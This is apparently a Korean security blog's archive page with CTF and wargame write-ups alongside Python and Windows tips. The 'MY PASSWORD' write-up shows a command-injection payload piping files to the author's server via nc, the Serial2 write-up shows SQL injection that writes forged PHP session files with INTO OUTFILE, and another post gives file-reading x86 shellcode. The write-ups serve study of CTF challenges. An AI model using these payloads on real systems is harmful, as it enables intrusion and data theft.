'k1rha`s Node'에 해당되는 글 388건

  1. 2013.09.28 [ 파이썬 해킹 프로그래밍] 퍼저 환경 구축하기 pydbg 설치하기
  2. 2013.09.15 [white hacking] 화이트 해킹대회 web PPPPAAAASSSWWW... (150Point)
  3. 2013.09.15 [White Hacking] Serial2 web(150 point) Write-up
  4. 2013.09.11 윈도우8 애드훅(애드혹, AdHoc) 설정하기
  5. 2013.09.04 [py2exe] py2exe 로 변환시 인코딩 에러
  6. 2013.08.13 [python 2.7] 엑셀 다루기 xlwt xlrd 사용하여 엑셀 컨트롤 하기
  7. 2013.08.06 [Python 2.7] Parallel Python 으로 분산처리 테스트
  8. 2013.08.04 [python2.7] Multi-Thread 와 Multi-Processing 차이와 예제코드
  9. 2013.07.29 [Vortex] level0 -> level1
  10. 2013.07.27 [Shellcode] open-read-write(stdout)
  11. 2013.07.21 32bit unistd.h System call Number
  12. 2013.07.11 HDCON 2013 neskjail 문제 ( python exec 함수의 문제 )
  13. 2013.07.10 정규 표현식으로 금액 (,) 표기 하기
  14. 2013.06.17 2013 HDCON REMOTE BOF
  15. 2013.06.17 정선 짚 와이어; 태백 백두대간협곡열차;대관령 양떼목장
  16. 2013.06.17 동작대교 까페 ; 부암동 산모퉁이 까페; 반포대교
  17. 2013.06.10 GDB 명령어 완벽 가이드
  18. 2013.06.10 블라인드 인젝터 미리 코딩...
  19. 2013.05.30 [python] exploit 코드들에서 자주 나오는 lambda 사용법으로 인한 pack 에 대한 이해
  20. 2013.05.30 python2.7 thread 예제 코드
  21. 2013.04.28 [ L.O.B ] 페도라 원정대 4 dark_stone -> cruel
  22. 2013.04.19 [R.O.P.] ropeme 사용하여 ROP 가젯 쉽게 구하기.
  23. 2013.04.14 LOB Fedora 원정대 ( evil_wizard -> dark_stone )
  24. 2013.04.07 LOB Fedora BOF GOT overwrite (hell_fire -> evil_wizard)
  25. 2013.04.07 문자열 조합 방법 (brute forcing)
  26. 2013.04.05 PLT & GOT 심층 분석.
  27. 2013.04.03 사무 용품 구매 법
  28. 2013.04.01 [LOB] 페도라 원정대 3 (dark_eyes -> hell_fire)
  29. 2013.03.26 [python] 무한 thread 로 속도 올리기
  30. 2013.03.26 [python]ZIP 파일 크랙 python 코드
2013. 9. 28. 11:54

[ 파이썬 해킹 프로그래밍] 퍼저 환경 구축하기 pydbg 설치하기 fuzzer enviroment install


파이썬 해킹프로그래밍에 있는 fuzzer 환경을 구축하기 위한 방법이다.

1. python 설치  [ http://python.org ]


2. python 환경변수 등록 

[ 시스템 환경 변수 $PATH 에 C:\python\을 등록  하여 어디에서든 사용 할 수 있도록 한다]


3. paimei 설치 [ python 디버거를 설치]

  

OpenRCE-paimei-d78f574.rar


위파일을 다운로드 받고 dist 폴더로 들어가면 설치 파일이 이 있다. 더블클릭하여 설치한다.

설치하고나면  "C:\Python27\Lib\site-packages\pydbg\" 가 생긴다.


4. pydbg 덮어 씌우기


pydasm.pyd


"C:\Python27\Lib\site-packages\pydbg\"  에 위파일을 덮어 씌운다.

 


5. __init__ 에서 ctype 구조체 임폴트 시키기 

C:\Python27\Lib\ctypes\__init__.py 파일을 열어서 아래 부분을 추가해준다.


 

from _ctypes import RTLD_LOCAL, RTLD_GLOBAL

from _ctypes import ArgumentError


from struct import calcsize as _calcsize

from _ctypes import Structure as _ctypesStructure      #추가부분

class Strucure(_ctypesStructure): pass                   #추가부분



6. 이후 fuzz_hash.py 를 실행시킨다.

  

fuzz_hash.py


위 파일이 들어간 폴더에 퍼징할 샘플 파일들과 hash_DB.txt(emptytext) 를 생성해서 넣어준다. hash_DB.txt 는 크래시난 정보들이 저장되며, 크래시가 터질경우 crash 폴더를 자동으로 생성하여 샘플 파일을 넣는다. 


[ 실행법 ]

python 파일명 -t "타겟 프로그램" -s "샘플 위치"


$python fuzz_hash.py -t "C:\Program Files (x86)\GRETECH\GomPlayer\GOM.exe" -s "C:\k1rha\sample\"






Posted by k1rha
2013. 9. 15. 21:28


[white hacking] 화이트 해킹대회 MMMMYYYYYYYYY PPPPAAAASSSWWWOOORRRDDD!!!!!!(150 points)



Solved by 광운


Node.js 코드가 주어지고 사이트에 접근 할 수 있는 주소가 주어진다.

주소로 들어가보면 간단하게 회원가입을 할 수 있고 패스워드를 찾을 수 있는 페이지 가 존재한다.


패스워드를 찾아주는 곳에 아이디를 넣고 전송을 누르면 [인증 코드]가 메일로 오는 것을 확인 할 수 있었다. 





주어진 Node.js 소스코드를 보니 E-mail이 오는 부분을 확인 할 수 있었는데, mail 이라는 명령어를 exec()를 사용하여 이메일을 보내는 것을 확인 할 수 있었고, 이를 보면 email 안에 특정 명령어를 같이 실행 시켜서 값을 찾아내야 했다.





메일에 어떠한 문자열들이 허가 되는지 부터 살펴보면 아래코드와 같다. 


아래 문자열과 더불어 띄어쓰기도 되지 않았다.


function validateEmail(email) {

        return /^(?:[\w\!\#\ \$\%\&\'\*\+\-\/\=\?\^\`\{\|\}\~]+\.)*[\w\!\#\$\%\&\'\*\+\-\/\=\?\^\`\{\|\}\~]+@(?:(?:(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-](?!\.)){0,61}[a-zA-Z0-9]?\.)+[a-zA-Z0-9](?:[a-zA-Z0-9\-](?!$)){0,61}[a-zA-Z0-9]?)|(?:\[(?:(?:[01]?\d{1,2}|2[0-4]\d|25[0-5])\.){3}(?:[01]?\d{1,2}|2[0-4]\d|25[0-5])\]))$/.test(email);

}


대충 사용 할 수 있는 문자열은 아래와 같다.


|,  a-z , 0-9 , $ , & , . , { , } '  정도였다.   


띄어쓰기 문제가 가장 컸는데, 환경변수에 띄어쓰기가 있는 것을 찾았다.


IFS 환경변수 


IFS 변수는 도스에서는 사용하지 않는 변수이다. 이것은 

사용자의 명령행중 공백 구분자를 표시하는 것으로 디폴 

트 값은 ' ' 이다. 즉, IFS 환경변수가 디폴트로 설정되 

어 있는 경우, 다음과 같은 형태로 명령을 내리는 것이 

가능하다. 



[myserver]

 #nc -lvp 8888 


[회원가입->패스워드 찾기] 

  &&ls'|nc$IFS'k1rha.com'$IFS'8888'&&@gmail.com   //어떠한 파일들이 있는지 검사 


  &&cat$IFS'main.js'|nc$IFS'k1rha.com'$IFS'8888'&&@gmail.com   //main.js를 내서버로 보냄 



[main.js 파일안에 flag가 있다 ] 


if (users[email] == pass) {

if (email == 'admin@beollejavi.kr')

res.end(JSON.stringify({'code': 0, 'id': email, 'msg': 'Contgrats! flag: WHC793b5f3b55d99590fc1a7ebc1654f66b'}));


key file : WHC793b5f3b55d99590fc1a7ebc1654f66b








Posted by k1rha
2013. 9. 15. 20:06

[White Hacking] Serial2 web(150 point) Write-up , 화이트 해킹대회


Solved By 광운(exso)



1. 우선 로그인을 해보면 비밀글을 읽고 싶게 만들어져 있으므로 readme 권한을 얻어냈다.




2. 우선 페이지의 Admin 페이지를 가보면 가벼운 인젝션이 먹히는 것을 확인 할 수있다. 

하지만 얻어낼 것은 아무것도 없었다. 데이터베이스는 다른 데이터베이스와 나눠져 있었다.


union select 가 먹히는 것도 확인 했다.


loadfile 과 outfile 이 먹혀 들어가는 것도 확인 했다. 


아래는 loadfile 로 결과를 union select 로 확인한 화면이다. 


union select ..... into outfile('[파일명]');  을 이용하여 세션을 강제 주입하여 readme 권한으로 세션을 만들어야 한다. 세션을 /var/lib/php5/ 에 강제 주입시키고, 그 세션으로 하이제킹하여 readme 권한을 얻는 방법을 써야 한다. 


세션을 만들기 위해 세션이 어떤식으로 생성되는가를 봐야하는데, 이는 include 취약점을 만들어두어

소스코드를 읽을 수 있게 해 두었다. 


session 이름은 memdata 이고 id,pw,level,을 인자로서 만들어 진다는 것을 알 수 있었다.

서버에 똑같이 코딩하여 세션을 생성 하였다.



[세션을 만들어내는 모습]


[인젝션을 할 시 싱글 쿼터 더블쿼터가 걸리적 거리므로 헥사코드로 전부 치환 시킨다]




인젝션 구문을 통하여 서버에 강제로 readme 계정의 세션을 주입 시킨다.

'union select 0x6D656D646174617C733A38363A22613A343A7B733A333A22696478223B733A313A2231223B733A323A226964223B733A363A22726561646D65223B733A323A227077223B733A343A2261616161223B733A353A226C6576656C223B733A313A2231223B7D223B into outfile '/var/lib/php5/sess_k1rha' #


(여기서 세션 이름은 sess_ 가 반드시 포함되어야 하며 k1rha는 임의의 세션명이다.)


[세션 강제 주입 화면 .강제 주입시는 sess_ 를 빼고 삽입한다]



[세션을 대체하고나면 비밀글이 보인다. 

하지만 답이 있는것이 아니라 디비를 다시 뒤지라고 알려준다.]




이렇게 세션이 삽입 된다는 것을 알았다.


이때 session id 대신 session level 을 출력해 주는 방식을 사용하여 level 부분에 다시 유니온을 사용하여

member테이블에 대한 값을 구해 올 수 있었다.



' union select 'memdata|s:161:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:5:"k2rha";s:2:"pw";s:8:"anything";s:5:"level";s:72:"2\' union select group_concat(table_name) from information_schema.tables#";}";' into outfile '/var/lib/php5/sess_customsession1'#


CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_C : Hacking Detected

.

.

.

.

이하 생략

.

.

.




union select 'memdata|s:136:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:5:"k1rha";s:2:"pw";s:8:"anything";s:5:"level";s:47:"2\' union select k3yk3y from k3y_1s_h3r3.k3yk3y#";}";' into outfile '/var/lib/php5/sess_customsession'#














Posted by k1rha
2013. 9. 11. 00:11

keyword : 윈도우 8 애드훅 , 에드혹 adHoc 내 PC 네트워크 카드 무선 공유기화 시키기



[출처 : ?!! 잊었습니다 ㅠ  ]

윈도우8 애드훅(애드혹, AdHoc) 설정하기


윈도우8에 오면서 네트워크 설정이 간략화되는 바람에 애드혹 기능이 숨겨져버렸습니다.
거기에 부팅때마다 다시 켜줘야 하는 불편함까지 생겼습니다. 
여러모로 윈도우8은 간략화를 많이 해서 불편한점이 많네요. 
간단히 애드혹 기능을 살려보자규요. 
 
1. cmd창에서 netsh wlan show drivers를 쳐서[호스트된 네트워크 지원 를 확인.
아니오 라면 드라이버 업뎃 등을 통해서 해결해야함. 
 
2. netsh wlan set hostednetwork mode=allow ssid=[네트워크 이름] key=[비밀번호]하고 엔터.[ ] 는 똑같이 따라칠 필요가 없습니다.
ex) ssid=myAdHoc key=1234567890 
 
3. net wlan start hostednetwork입력후 엔터 
 
4. AdHoc완성입니다. 
 
5. 제어판-네트워크 및 공유센터 -어댑터 설정 변경 진입. 
 
6. 자신이 쓰고 있는 랜 장치를 찾습니다.인터넷을 유선연결로 쓰고 있다면 [로컬 영역 연결]이며무선인 경우엔 [Wi-Fi]일겁니다.해당 장치의 [속성]창을 띄우고[공유탭에서 [인터넷 연결 공유에서  
 
7. "다른 네트워크 사용자가 이 컴퓨터의....." 체크 
 
8. 홈 네트워킹 연결 에서 선택해야 할 것은 [네트워크 연결]에서 "Microsoft에서 호스트하는..."문구가 붙은 장치 이름입니다.
보통[로컬 영역 연결*12]와 같은 이름을 갖습니다 
 
9. 그리고 확인 해주면 애드혹 설정 끝. 
 
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 
 
재부팅하면 이 애드혹을 다시 잡아줘야 합니다. 
그럴땐 cmd 창에 netsh wlan start hostednetwork 만 입력해주면 기존의 애드혹 설정이 살아나서 다시 쓸 수 있습니다. 
이걸 배치파일로 만들어서 시작프로그램에 등록해두면 컴퓨터 부팅하고 나서 알아서 애드혹을 잡아줍니다. 
 
메모장을 열고, 
@echo off
netsh wlan start hostednetwork라고 입력 후[파일명].bat으로 저장합니다. 
그리고 그 파일을 시작프로그램에 등록하면 재부팅시 알아서 자동으로 애드혹을 설정해줍니다.


Posted by k1rha
2013. 9. 4. 17:27

키워드 py2exe 로 변환시 인코딩 에러 encoding error 


py2exe로 작성했다 exe를 일본어나 한글을 포함한 폴더로 실행하면 아래와 같은 에러가 나온다. 



UnicodeDecodeError: 'ascii' codec can't decode byte 0x83 in position 34: ordinal not in range(128)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x83 in position 34: ordinal not in range(128)

다른 블로그를 보면 

sys.setdefaultencoding 을 사용하여 변환을 해주라고 하지만 이 역시도 적용이 잘 되지 않았는데, 

이유인즉 site.py 라는 곳에서 먼저 setdefaultencoding 을 사용하기 때문이다.

이를 해결하기 위해 많은 문서에서 site.py 를 수정해주는 등의 문제 해결 방법을 적어놨는데

필자는 잘 되지 않았고 삽질 끝에 아래와 같이 해결 하였다.

[Main.py]



[setup.py] : py2exe 에 사용됨


간단히 설명하자면 setup.py 에서 include 라는 옵션을 넣어 encodings 에 관한 것을 


사용하지 않겠다고 해주고, sys를 import 하여 setdefaultencoidng 을 선언해 주는것이다.


이방법을 사용하면 이클립스 상에서는 에러가 뜬다.


하지만 py2exe 로 바이너리로 만들면 한글 문제가 잘 해결되며 오류가 없이 잘 실행되는


것을 확인할 수 있다.


ㅇㅇㄴ해 많은 서 site.py 를 수정해주는 등의 문제 해결 방법을 적어놨는데

필자는 잘 되지 않았고 삽질 끝에 아래와 같이 해결 하였다. 


Posted by k1rha
2013. 8. 13. 23:05

[python 2.7] 엑셀 다루기 xlwt xlrd 사용하여 엑셀 (xls, xlsx cvs) 컨트롤 하기


회사 업무중에 엑셀 작업을 받고, 그 엑셀의 데이터를 웹사이트에 입력하여 응답 값을 다시 엑셀에 저장 할 일이 생겼다.

딱 떠오르는 것은 역시 파이썬! 파이썬 답게 이미 패키지가 다 존재하였다.


xlwt (xls wrtie 의 약자) xlrd (xls read 의 약자) 사용법을 명확하게 정리해 놓은 곳이 없어서 한번 정리해 보았다.


import sys, os

import xlwt

import xlrd



class READXLS():

    

    global filePoint

    global sheet1

    

    def __init__(self,file_name):

      

        self.filePoint = xlrd.open_workbook(file_name,formatting_info=True)

     

    

    def select_sheet (self,num):

        self.sheet1 = self.filePoint.sheet_by_index(0)

        #sheet_name = self.filePoint.sheet_by_name('colors')

        

    def select_row (self,num):

         print self.sheet1.row_values(num)

         

    def select_col (self,num):

        print self.sheet1.col_values(num)

        

    def select_map(self,row,col):

        print self.sheet1.cell(rowx=0,colx=0).value

        


    

def main():

    try :

        XLS = READXLS("test.xls")

    

    except :

        print "FILE OPEN ERROR"

        

    XLS.select_sheet(0)

    XLS.select_map(0,0)


    

if __name__ == "__main__":

    main()

    

#    book = xlwt.Workbook()

#    sheet1 = book.add_sheet("sheet1")

#    sheet1.write(0,0,'A1')

#    sheet1.write(0,2,"B1")   

#    book.save('test.csv')



Posted by k1rha
2013. 8. 6. 23:14

분산 처리를 위한 Paraller Python (이하 PP) 설치법 및 사용법


[ PP 다운로드 사이트 http://www.parallelpython.com/content/view/18/32/ ]


[ Master Server ]


root@k1rha:~/PYTHON/Parallel# unzip pp-1.6.4.zip 

root@k1rha:~/PYTHON/Parallel# cd pp-1.6.4.zip

root@k1rha:~/PYTHON/Parallel/pp-1.6.4# python setup.py install


설치를 하고나면 pp 패키지를 자유롭게 import 하여 사용 할 수 있다.



다수의 컴퓨터를 분산처리 하는 구조는 아래와 같다.


PPServer는 이미 Parallel Python 사이트에서 만들어놓은 프로그램을 사용하여 테스트 하였다.

각 Slave 컴퓨터에서는 ppserver를 동작 시킨다. 그리고 MASTER 서버는 자신이 연산할 함수를 각 서버에 분산시킨 뒤 그 결과값을 리턴 받는 식이다.


[ Client A ]

 # ppserver.py


[ Client B ]

 # ppserver.py


[ Client C ]

 # ppserver.py


[ Client D ]

 # ppserver.py


[ Master ]

# [병렬 처리할 프로그램].py

  #ppservers = ()   //같은 네트워크망이 아닐땐 요부분을 

   ppservers = ("[ A HOST IP ]:[PORT]","[ B HOST IP ]: [PORT]", )  //요렇게 고쳐준다..



[ 결과 화면 비교  1. 클러스터가 없을때 ]

 job count | % of all jobs | job time sum | time per job | job server

         9 |        100.00 |      15.5626 |     1.729183 | local

Time elapsed since server creation 8.8939139843

0 active tasks, 2 cores


root@k1rha:~/PYTHON/Parallel/pp-1.6.4/examples# 


[ 결과 화면 비교 2. 클러스터가 local 1개 remote 1개 총 2대일떄 ]

root@k1rha:~/PYTHON/Parallel/pp-1.6.4/examples# python sum_primes.py


Usage: python sum_primes.py [ncpus]

    [ncpus] - the number of workers to run in parallel,

    if omitted it will be set to the number of processors in the system

Starting pp with 2 workers

Sum of primes below 100 is 1060

Sum of primes below 200000 is 1709600813

Sum of primes below 200100 is 1711401118

Sum of primes below 200200 is 1713002400

Sum of primes below 300300 is 3716110510

Sum of primes below 200400 is 1716407615

Sum of primes below 200500 is 1717810714

Sum of primes below 300600 is 3723922172

Sum of primes below 400700 is 6478918307

Job execution statistics:

 job count | % of all jobs | job time sum | time per job | job server

         1 |         11.11 |       4.8824 |     4.882423 | 223.194.105.176:60000

         4 |         44.44 |      11.3776 |     2.844407 | 223.194.105.178:60000

         4 |         44.44 |       8.7561 |     2.189026 | local

Time elapsed since server creation 6.6827340126


[결론] 제공된 예제코드인데 좀 쥐꼬리만큼 빨라지는 기분... 생각만큼 절반으로 줄어들 순 없는것 같다. 


Posted by k1rha
2013. 8. 4. 19:03

멤버십에서 한 PPT가 올라왔는데, python 으로 분산처리를 하는 과정의 PPT였다.

지금까지 다수의 연산처리는 Multi Thread 방식을 사용해서 처리 하였었는데, 이 PPT 에 의하면 오히려 multi-Thread 방식은 속도가 더 느려진다 (Global Interpretor Locking 때문) 


http://docs.python.org/2/library/multiprocessing.html#module-multiprocessing


하여금 Multi-Processing 방식을 추천해주는데 코드는 아래와 같음. 

(사용법이 thread 사용법과 거의 동일함)

(python 2.6 이상부터는 default 모듈임)


from multiprocessing import Process,Queue


def do_work( start, end , result):

        sum =0;

        for i in range(start,end):

                sum += i;

        result.put(sum)

        return



if __name__ == "__main__":

        START, END = 0, 2000000

        result = Queue()

        pr1 = Process(target = do_work, args=(START, END/2 , result ))

        pr2 = Process(target = do_work, args=(END/2, END, result))

        pr1.start()

        pr2.start()

        pr1.join()

        pr2.join()


        result.put('STOP')

        sum = 0;

        while True :

                tmp = result.get()

                if tmp == 'STOP' : break

                else: sum += tmp

        print "RESULT : ", sum



root@k1rha:~/PYTHON/MultiProc# time python multi_proc.py

RESULT :  1999999000000


real 0m0.544s

user 0m0.384s

sys 0m0.176s




Thread 와 비교하면 어떨까?


from threading import Thread


def do_work (start, end ,result):

        sum = 0

        for i in range(start, end):

                sum += i

        result.append(sum)

        return


if __name__ == "__main__":

        START, END = 0, 2000000

        result = list()

        th1 = Thread(target=do_work, args=(START, END/2,result))

        th2 = Thread(target=do_work, args=(END/2,END,result))

        th1.start()

        th2.start()


        th1.join()

        th2.join()


        print "result: ", sum(result)


root@k1rha:~/PYTHON/thread_ex# time python thread_ex.py 

result:  1999999000000


real 0m0.810s

user 0m0.208s

sys 0m0.668s




Posted by k1rha
2013. 7. 29. 23:21

[Vortex] level0 -> level1


[ 링크 : http://www.overthewire.org/wargames/vortex/vortex0.shtml ]



4개의 unsigned integer 숫자들을 Host byte 정렬로 받아서 다 더한 다음 다시 전송하라..

그러면 너는 user와 passwd 를 알것이다... 


코드는 아래와 같이 짰다.





'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2013. 7. 27. 14:04

[ read(open("getkey",0),buff,50)) -> write(stdout,buff); ]


#include<stdio.h>


int main()

{

        asm(

        //open("./getkey",0)*

        "xor %eax, %eax\n"

        "push %eax\n"

        "push $0x79654b65\n"

        "push $0x68742f2e\n"        // [getkey] [NULL]

        "mov %eax, %ecx\n"

        "mov %esp, %ebx\n"

        "movb $5, %al\n"        // open = 5

        "int $0x80\n"


        //read(eax,buff,100);

        "xor %edx,%edx\n"

        "movb $0x50,%dl\n"

        "sub $0x50,%esp\n"

        "movl %esp,%ecx\n"

        "movl %ecx,%edi\n"

        "movl %eax,%ebx\n"

        "xor %eax,%eax\n"

        "movb $0x3,%al\n"

        "int $0x80\n"


        //write(1,buff);

        "movl %edi, %ecx\n"

        "xor %ebx,%ebx\n"

        "xor %eax,%eax\n"

        "movb $0x1, %bl\n"

        "movb $0x4, %al\n"

        "int $0x80\n"

        );

return 0;

}


[ OBJDUMP ] 


 80483df: 31 c0                     xor    %eax,%eax

 80483e1: 50                           push   %eax

 80483e2: 68 65 4b 65 79       push   $0x79654b65

 80483e7: 68 2e 2f 74 68       push   $0x68742f2e

 80483ec: 89 c1                 mov    %eax,%ecx

 80483ee: 89 e3                 mov    %esp,%ebx

 80483f0: b0 05                 mov    $0x5,%al

 80483f2: cd 80                         int    $0x80

 80483f4: 31 d2                        xor    %edx,%edx

 80483f6: b2 50                 mov    $0x50,%dl

 80483f8: 83 ec 50             sub    $0x50,%esp

 80483fb: 89 e1                 mov    %esp,%ecx

 80483fd: 89 cf                         mov    %ecx,%edi

 80483ff: 89 c3                        mov    %eax,%ebx

 8048401: 31 c0                        xor    %eax,%eax

 8048403: b0 03                     mov    $0x3,%al

 8048405: cd 80                     int    $0x80

 8048407: 89 f9                         mov    %edi,%ecx

 8048409: 31 db                         xor    %ebx,%ebx

 804840b: 31 c0                 xor    %eax,%eax

 804840d: b3 01                     mov    $0x1,%bl

 804840f: b0 04                 mov    $0x4,%al

 8048411: cd 80                     int    $0x80




[ 최종 쉘코드 ]


\x31\xc0\x50\x68\x65\x4b\x65\x79\x68\x2e\x2f\x74\x68

\x89\xc1\x89\xe3\xb0\x05\xcd\x80\x31\xd2\xb2\x50\x83

\xec\x50\x89\xe1\x89\xcf\x89\xcf\x89\xc3\x31\xc0\xb0

\x03\xcd\x80\x89\xf9\x31\xdb\x31\xc0\xb3\x01\xb0\x04
\xcd\x80

Posted by k1rha
2013. 7. 21. 01:17

[64비트에서는 이놈들이 어디 있는겨? -_-... 복사 해놨다가. 그때그때 찾아써야겠다..]


/usr/linux/asm/unistd.h  32bit unistd.h System call Number 


#define __NR_exit 1    - move extended read/write file pointer

#define __NR_fork 2   - create a new process

#define __NR_read 3  - read from file

#define __NR_write 4

#define __NR_open 5

#define __NR_close 6

#define __NR_waitpid 7

#define __NR_creat 8

#define __NR_link 9

#define __NR_unlink 10

#define __NR_execve 11

#define __NR_chdir 12

#define __NR_time 13

#define __NR_mknod 14

#define __NR_chmod 15

#define __NR_lchown 16

#define __NR_break 17

#define __NR_oldstat 18

#define __NR_lseek 19

#define __NR_getpid 20

#define __NR_mount 21

#define __NR_umount 22

#define __NR_setuid 23

#define __NR_getuid 24

#define __NR_stime 25

#define __NR_ptrace 26

#define __NR_alarm 27

#define __NR_oldfstat 28

#define __NR_pause 29

#define __NR_utime 30

#define __NR_stty 31

#define __NR_gtty 32

#define __NR_access 33

#define __NR_nice 34

#define __NR_ftime 35

#define __NR_sync 36

#define __NR_kill 37

#define __NR_rename 38

#define __NR_mkdir 39

#define __NR_rmdir 40

#define __NR_dup 41

#define __NR_pipe 42

#define __NR_times 43

#define __NR_prof 44

#define __NR_brk 45

#define __NR_setgid 46

#define __NR_getgid 47

#define __NR_signal 48

#define __NR_geteuid 49

#define __NR_getegid 50

#define __NR_acct 51

#define __NR_umount2 52

#define __NR_lock 53

#define __NR_ioctl 54

#define __NR_fcntl 55

#define __NR_mpx 56

#define __NR_setpgid 57

#define __NR_ulimit 58

#define __NR_oldolduname 59

#define __NR_umask 60

#define __NR_chroot 61

#define __NR_ustat 62

#define __NR_dup2 63

#define __NR_getppid 64

#define __NR_getpgrp 65

#define __NR_setsid 66

#define __NR_sigaction 67

#define __NR_sgetmask 68

#define __NR_ssetmask 69

#define __NR_setreuid 70

#define __NR_setregid 71

#define __NR_sigsuspend 72

#define __NR_sigpending 73

#define __NR_sethostname 74

#define __NR_setrlimit 75

#define __NR_getrlimit 76

#define __NR_getrusage 77

#define __NR_gettimeofday 78

#define __NR_settimeofday 79

#define __NR_getgroups 80

#define __NR_setgroups 81

#define __NR_select 82

#define __NR_symlink 83

#define __NR_oldlstat 84

#define __NR_readlink 85

#define __NR_uselib 86

#define __NR_swapon 87

#define __NR_reboot 88

#define __NR_readdir 89

#define __NR_mmap 90

#define __NR_munmap 91

#define __NR_truncate 92

#define __NR_ftruncate 93

#define __NR_fchmod 94

#define __NR_fchown 95

#define __NR_getpriority 96

#define __NR_setpriority 97

#define __NR_profil 98

#define __NR_statfs 99

#define __NR_fstatfs 100

#define __NR_ioperm 101

#define __NR_socketcall 102

#define __NR_syslog 103

#define __NR_setitimer 104

#define __NR_getitimer 105

#define __NR_stat 106

#define __NR_lstat 107

#define __NR_fstat 108

#define __NR_olduname 109

#define __NR_iopl 110

#define __NR_vhangup 111

#define __NR_idle 112

#define __NR_vm86old 113

#define __NR_wait4 114

#define __NR_swapoff 115

#define __NR_sysinfo 116

#define __NR_ipc 117

#define __NR_fsync 118

#define __NR_sigreturn 119

#define __NR_clone 120

#define __NR_setdomainname 121

#define __NR_uname 122

#define __NR_modify_ldt 123

#define __NR_adjtimex 124

#define __NR_mprotect 125

#define __NR_sigprocmask 126

#define __NR_create_module 127

#define __NR_init_module 128

#define __NR_delete_module 129

#define __NR_get_kernel_syms 130

#define __NR_quotactl 131

#define __NR_getpgid 132

#define __NR_fchdir 133

#define __NR_bdflush 134

#define __NR_sysfs 135

#define __NR_personality 136

#define __NR_afs_syscall 137 /* Syscall for Andrew File System */

#define __NR_setfsuid 138

#define __NR_setfsgid 139

#define __NR__llseek 140

#define __NR_getdents 141

#define __NR__newselect 142

#define __NR_flock 143

#define __NR_msync 144

#define __NR_readv 145

#define __NR_writev 146

#define __NR_getsid 147

#define __NR_fdatasync 148

#define __NR__sysctl 149

#define __NR_mlock 150

#define __NR_munlock 151

#define __NR_mlockall 152

#define __NR_munlockall 153

#define __NR_sched_setparam 154

#define __NR_sched_getparam 155

#define __NR_sched_setscheduler 156

#define __NR_sched_getscheduler 157

#define __NR_sched_yield 158

#define __NR_sched_get_priority_max 159

#define __NR_sched_get_priority_min 160

#define __NR_sched_rr_get_interval 161

#define __NR_nanosleep 162

#define __NR_mremap 163

#define __NR_setresuid 164

#define __NR_getresuid 165

#define __NR_vm86 166

#define __NR_query_module 167

#define __NR_poll 168

#define __NR_nfsservctl 169

#define __NR_setresgid 170

#define __NR_getresgid 171

#define __NR_prctl 172

#define __NR_rt_sigreturn 173

#define __NR_rt_sigaction 174

#define __NR_rt_sigprocmask 175

#define __NR_rt_sigpending 176

#define __NR_rt_sigtimedwait 177

#define __NR_rt_sigqueueinfo 178

#define __NR_rt_sigsuspend 179

#define __NR_pread 180

#define __NR_pwrite 181

#define __NR_chown 182

#define __NR_getcwd 183

#define __NR_capget 184

#define __NR_capset 185

#define __NR_sigaltstack 186

#define __NR_sendfile 187

#define __NR_getpmsg 188 /* some people actually want streams */

#define __NR_putpmsg 189 /* some people actually want streams */

#define __NR_vfork 190

#define __NR_ugetrlimit 191 /* SuS compliant getrlimit */

#define __NR_mmap2 192

#define __NR_truncate64 193

#define __NR_ftruncate64 194

#define __NR_stat64 195

#define __NR_lstat64 196

#define __NR_fstat64 197

#define __NR_lchown32 198

#define __NR_getuid32 199

#define __NR_getgid32 200

#define __NR_geteuid32 201

#define __NR_getegid32 202

#define __NR_setreuid32 203

#define __NR_setregid32 204

#define __NR_getgroups32 205

#define __NR_setgroups32 206

#define __NR_fchown32 207

#define __NR_setresuid32 208

#define __NR_getresuid32 209

#define __NR_setresgid32 210

#define __NR_getresgid32 211

#define __NR_chown32 212

#define __NR_setuid32 213

#define __NR_setgid32 214

#define __NR_setfsuid32 215

#define __NR_setfsgid32 216

#define __NR_pivot_root 217

#define __NR_mincore 218

#define __NR_madvise 219

#define __NR_madvise1 219 /* delete when C lib stub is removed */

#define __NR_getdents64 220

#define __NR_fcntl64 221

#define __NR_security 223 /* syscall for security modules */

#define __NR_gettid 224

#define __NR_readahead 225

#define __NR_setxattr 226

#define __NR_lsetxattr 227

#define __NR_fsetxattr 228

#define __NR_getxattr 229

#define __NR_lgetxattr 230

#define __NR_fgetxattr 231

#define __NR_listxattr 232

#define __NR_llistxattr 233

#define __NR_flistxattr 234

#define __NR_removexattr 235

#define __NR_lremovexattr 236

#define __NR_fremovexattr 237

#define __NR_tkill 238

#define __NR_sendfile64 239

#define __NR_futex 240

#define __NR_sched_setaffinity 241

#define __NR_sched_getaffinity 242

#define __NR_set_thread_area 243

#define __NR_get_thread_area 244

/* #define __NR_io_setup 245 */

/* #define __NR_io_destroy 246 */

/* #define __NR_io_getevents 247 */

/* #define __NR_io_submit 248 */

/* #define __NR_io_cancel 249 */

/* #define __NR_alloc_hugepages 250 */

/* #define __NR_free_hugepages 251 */

#define __NR_exit_group 252

/* #define __NR_lookup_dcookie 253 */

/* #define __NR_sys_epoll_create 254 */

/* #define __NR_sys_epoll_ctl 255 */

/* #define __NR_sys_epoll_wait 256 */

/* #define __NR_remap_file_pages 257 */

#define __NR_set_tid_address 258

 


Posted by k1rha
2013. 7. 11. 22:59

HDCON 2013  neskjail 문제 ( python exec 함수의 문제


      exploiting by 광운~   


HDCON 본선문제로 python exec를 이용하는 문제 였다.

문제서버에는 neskjail 이라는 프로세스가 돌고 있었어야 했고, 중지 시 감점이 된다고한다(실제론 감점 안된듯?)



